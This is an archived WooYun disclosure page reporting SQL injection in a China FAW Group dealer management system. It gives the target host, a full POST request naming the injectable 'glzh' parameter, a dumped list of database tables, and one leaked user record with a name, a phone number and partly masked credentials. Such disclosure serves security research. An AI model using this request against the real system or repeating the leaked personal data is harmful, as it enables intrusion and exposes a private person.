当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151843

漏洞标题：一汽车集团某经销商管理系统sql注入

相关厂商：中国第一汽车集团公司

漏洞作者： 路人甲

提交时间：2015-11-04 20:43

修复时间：2015-12-20 09:04

公开时间：2015-12-20 09:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-04： 细节已通知厂商并且等待厂商处理中
2015-11-05： 厂商已经确认，细节仅向厂商公开
2015-11-15： 细节向核心白帽子及相关领域专家公开
2015-11-25： 细节向普通白帽子公开
2015-12-05： 细节向实习白帽子公开
2015-12-20： 细节向公众公开

简要描述：

111

详细说明：

http://xsgw.faw.com.cn/faw_online/admin.jsp


POST /faw_online/register_gy_sub.jsp?isAction=gy HTTP/1.1
Host: xsgw.faw.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://xsgw.faw.com.cn/faw_online/register_gy.jsp
Cookie: JSESSIONID=fS2JW5pSFRy9BTqBhjrmPgkjYCvNyzWHdpfTrkPdFrxqP9rTRRVF!-19581979
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
userTag=2&userRight=4&glzh=aa&password=aa&zsxm=aa&lxdh=aa&gsname=10465


参数 glzh

1.png


漏洞证明：

2.png


Database: SALEEVAL
[41 tables]
+--------------------+
| AL_TALBE |
| CAR_FRACTION |
| COMPANY |
| DEPARTMENT |
| DETAIL_TONGJI |
| DIC_P3DIC |
| DIC_PDIC |
| DIC_SONLEI |
| FRACTION_CLASIC |
| MAINITEM |
| PROVINCE |
| PROVINCE_C_TREE |
| PUBLIC_DWZP |
| PUBLIC_FBZT |
| PUBLIC_HISTORY |
| PUBLIC_HTML |
| PUBLIC_HTYPE |
| PUBLIC_LOGIN |
| PUBLIC_MODULE |
| PUBLIC_TABLE |
| PUBLIC_UPDOWN |
| PUBLIC_UPFILE |
| PUBLIC_XXTJ |
| PUBLIC_ZTHF |
| PX_TABLE |
| QM_MODULE |
| QM_ROLEDM |
| REGION |
| RYPB |
| SALE_CAR |
| SELLOR_INFO |
| SORT_TONGJI |
| SORT_TONGJI_DOC |
| SORT_TONGJI_J |
| SORT_TONGJI_N |
| SORT_TONGJI_X |
| SYS_EXPORT_FULL_01 |
| SYS_EXPORT_FULL_02 |
| USER_TREE |
| WEB_LY |
| YQZX_DUAL |
+--------------------+
-------+------------------+--------------------+------+-------------+------+-------+-------+-------+--------+-------------------------------------------+--------+---------+---------+------------+----------+----------+-----------+
| ID | QQ | SFZ | GZDW | LXDH | ZSXM | BUMEN | XUELI | PINXI | ZHIWEI | PICURL | GSNAME | XINGBIE | USERTAG | SHENGRI | USERNAME | PASSWORD | USERRIGHT |
+-------+------------------+--------------------+------+-------------+------+-------+-------+-------+--------+-------------------------------------------+--------+---------+---------+------------+----------+----------+-----------+
| 10248 | 785xxxx95@qq.com | 210xxxx42428 | NULL | 15940715246 | 张斌斌 | 8947 | 大专 | 8947 | 牵引销售顾问 | /faw_online/images/User/1394xxxxx5.jpg | 8945 | 女 | 1 | 1989-04-14 | 营口精诚张斌斌 | yxxxxxbb | 0 |
+-------+------------------+--------------------+------+-------------+------+-------+-------+-------+--------+-------------------------------------------+--------+---------+---------+------------+----------+----------+-----------+
就不进去了，大厂商吧。。。。

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-11-05 09:03

厂商回复：

已经提交网站运维人员进行处理

最新状态：

暂无

漏洞评价：

评价

  1. 2015-11-04 20:47 | 日出东方 ( 普通白帽子 | Rank:398 漏洞数:126 )

    厂商我认识你，给个高评价吧。。。